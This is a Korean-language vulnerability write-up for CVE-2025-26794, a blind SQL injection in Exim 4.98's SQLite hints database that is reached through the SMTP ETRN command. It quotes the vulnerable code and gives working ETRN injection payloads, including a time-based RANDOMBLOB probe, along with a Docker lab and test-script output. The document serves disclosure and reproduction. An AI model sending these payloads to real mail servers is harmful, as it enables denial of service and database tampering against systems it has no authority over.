
CVE-2025-26794: Exim 4.98(SQLite DBM)의 블라인드 SQL 인젝션 - 익스플로잇 라이트업
Exim 보고서: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
이 취약점은 수동 코드 리뷰를 통해 발견했습니다.
SQLite가 DBM으로 사용될 때 SQL 파라미터가 제대로 처리되지 않습니다. 이로 인해 원격 사용자가 사용자 정의 SQLite 쿼리를 조작할 가능성이 생깁니다.
Exim은 내부 키-값 저장소(HintsDB라고 함)를 위해 내부 데이터베이스를 사용하며, 빌드 시 설정되는 다양한 백엔드를 지원합니다. 가장 최근에 추가된 것은 SQLite입니다. 다음 항목을 저장하는 데 사용됩니다:
enq_start() 포함)영향을 받는 파일은 hintsdb.h입니다. 최신 커밋에서 별도의 파일(hints_sqlite.h)로 이동되었습니다. SQLite 함수만 영향을 받습니다(예: exim_s_dbp 함수).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
입력 키가 제대로 이스케이프되지 않습니다. 따라서 키를 제어할 수 있다면 임의의 SQLite 코드를 삽입할 수 있습니다.
RFC1985는 SMTP ETRN 명령을 정의합니다. 이 명령을 통해 클라이언트는 서버가 클라이언트 시스템을 위해 대기 중인 메시지에 대한 메일 큐 처리를 시작하도록 요청할 수 있습니다.
SMTP 명령 ETRN #domain.com과 함께 사용됩니다.
Exim에서 ETRN 명령은 HintsDB에 세마포어를 설정하여 여러 ETRN 명령이 병렬로 실행되는 것을 방지합니다.
이 세마포어는 enq_start(keyname, value) 함수에 의해 구현되며, 이 함수는 "misc" 데이터베이스에 새 항목을 생성합니다.
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
예를 들어, SMTP 명령 ETRN #test.com은 "etrn-#test.com" 키와 값 1로 SQLite "misc" 데이터베이스에 임시 DB 항목을 생성합니다.
ETRN 명령 처리가 끝나면 DB 항목이 제거됩니다:
enq_end(etrn_serialize_key);
키를 제어할 수 있으므로 다음 SMTP 명령으로 자체 SQL 코드를 삽입할 수 있습니다:
ETRN #',1); ## INSERT SQL HERE ## /*
출력이 없으므로 시간 기반 SQLi 페이로드를 제출하여 원격으로 이 취약점을 테스트할 수 있습니다:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE를 사용하여 Exim 사용자가 접근할 수 있는 다른 로컬 SQLite 데이터베이스에 연결할 수 있었습니다. 아마도 사용 중인 다른 DB를 방해하여 Exim의 경쟁 조건을 악용하여 정의되지 않은 동작을 유발할 수 있을 것으로 생각됩니다. 현재로서는 매우 가상적입니다.ETRN 명령을 활성화하는 것은 꽤 드물고(꽤 오래된 기능), 코드의 다른 곳에서 사용자 입력이 쿼리 문자열을 구성하는 데 사용되는 곳을 찾을 수 없었습니다.따라서 이 익스플로잇 방법이 실제로 사용되었을 의심스럽지만, 심각한 취약점입니다.
즉, 쉽게 DoS(예: 디스크 채우기)를 수행할 수 있지만, 이를 원격 코드 실행으로 확대하려면 더 많은 작업이 필요하지만 가능할 수 있습니다.
이 취약점 재현을 돕기 위한 로컬 Docker 랩입니다.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh가 컨테이너를 빌드하고 로그인합니다.bash start-exim.sh를 실행하여 exim 서버를 시작합니다.nc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax error이 취약점을 원격으로 테스트하기 위해 test.py 스크립트를 개발했습니다.
python3 docker_lab/test.py <host>
예시:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable